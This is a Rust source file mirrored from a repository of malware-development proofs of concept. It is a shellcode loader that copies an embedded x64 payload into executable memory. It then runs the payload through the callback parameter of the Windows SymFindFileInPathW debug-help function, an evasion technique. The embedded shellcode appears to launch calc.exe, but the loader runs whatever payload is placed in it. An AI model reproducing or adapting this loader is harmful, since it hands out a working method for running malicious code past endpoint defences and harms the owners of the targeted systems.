mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
120 lines
4.6 KiB
Rust
120 lines
4.6 KiB
Rust
extern crate winapi;
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use std::ffi::CString;
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use std::ptr::null_mut;
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use std::ptr::copy_nonoverlapping;
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use winapi::ctypes::{c_char, c_void};
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use winapi::shared::guiddef::GUID;
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use winapi::shared::minwindef::{BOOL, DWORD};
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use winapi::um::dbghelp::{SymFindFileInPathW, SymInitializeW};
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use winapi::um::memoryapi::VirtualAlloc;
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use winapi::um::processthreadsapi::GetCurrentProcess;
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use winapi::um::winnt::{HANDLE, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
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#[link(name = "dbghelp")]
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extern "system" {
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fn SymSrvGetFileIndexInfo(
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file: *const c_char,
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info: *mut SYMSRV_INDEX_INFO,
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flags: u32,
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) -> BOOL;
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}
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pub unsafe fn sym_srv_get_file_index_info(
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file: &str,
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info: *mut SYMSRV_INDEX_INFO,
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flags: u32,
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) -> Result<(), &'static str> {
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let file_cstring = CString::new(file).map_err(|_| "Failed to convert file path to CString")?;
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let result = SymSrvGetFileIndexInfo(file_cstring.as_ptr(), info, flags);
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if result == 0 {
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Err("SymSrvGetFileIndexInfo failed")
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} else {
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Ok(())
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}
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}
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fn main() {
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unsafe {
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let shellcode: [u8; 276] = [
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0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
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0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
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0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
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0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
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0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
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0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
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0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
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0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
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0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
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0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
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0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
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0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
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0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
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0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
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0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
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0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
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0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
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0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
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];
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let h_process: HANDLE = GetCurrentProcess();
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let address = VirtualAlloc(
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null_mut(),
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shellcode.len(),
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MEM_RESERVE | MEM_COMMIT,
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PAGE_EXECUTE_READWRITE,
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);
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if address.is_null() {
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panic!("VirtualAlloc failed");
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}
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copy_nonoverlapping(shellcode.as_ptr(), address as *mut u8, shellcode.len());
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if SymInitializeW(h_process, null_mut(), 1) == 0 {
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panic!("SymInitialize failed");
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}
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let mut finfo: SYMSRV_INDEX_INFO = std::mem::zeroed();
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sym_srv_get_file_index_info("c:\\windows\\system32\\kernel32.dll", &mut finfo, 0)
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.expect("SymSrvGetFileIndexInfo failed");
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let mut dummy: [u8; 260] = [0; 260];
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let system32_path = CString::new("c:\\windows\\system32").unwrap();
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let kernel32_dll = CString::new("kernel32.dll").unwrap();
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if SymFindFileInPathW(
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h_process,
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system32_path.as_ptr() as *const u16,
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kernel32_dll.as_ptr() as *const u16,
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&finfo.timestamp as *const _ as *mut c_void,
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finfo.size,
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0,
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0 as u32,
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dummy.as_mut_ptr() as *mut u16,
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Some(std::mem::transmute(address)),
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null_mut(),
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) == 0
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{
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panic!("SymFindFileInPath failed");
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}
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}
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}
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#[repr(C)]
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#[allow(non_camel_case_types)]
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pub struct SYMSRV_INDEX_INFO {
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pub sizeofstruct: DWORD,
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pub file: [i8; 261],
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pub stripped: BOOL,
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pub timestamp: DWORD,
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pub size: DWORD,
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pub dbgfile: [i8; 261],
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pub pdbfile: [i8; 261],
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pub guid: GUID,
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pub sig: DWORD,
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pub age: DWORD,
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}
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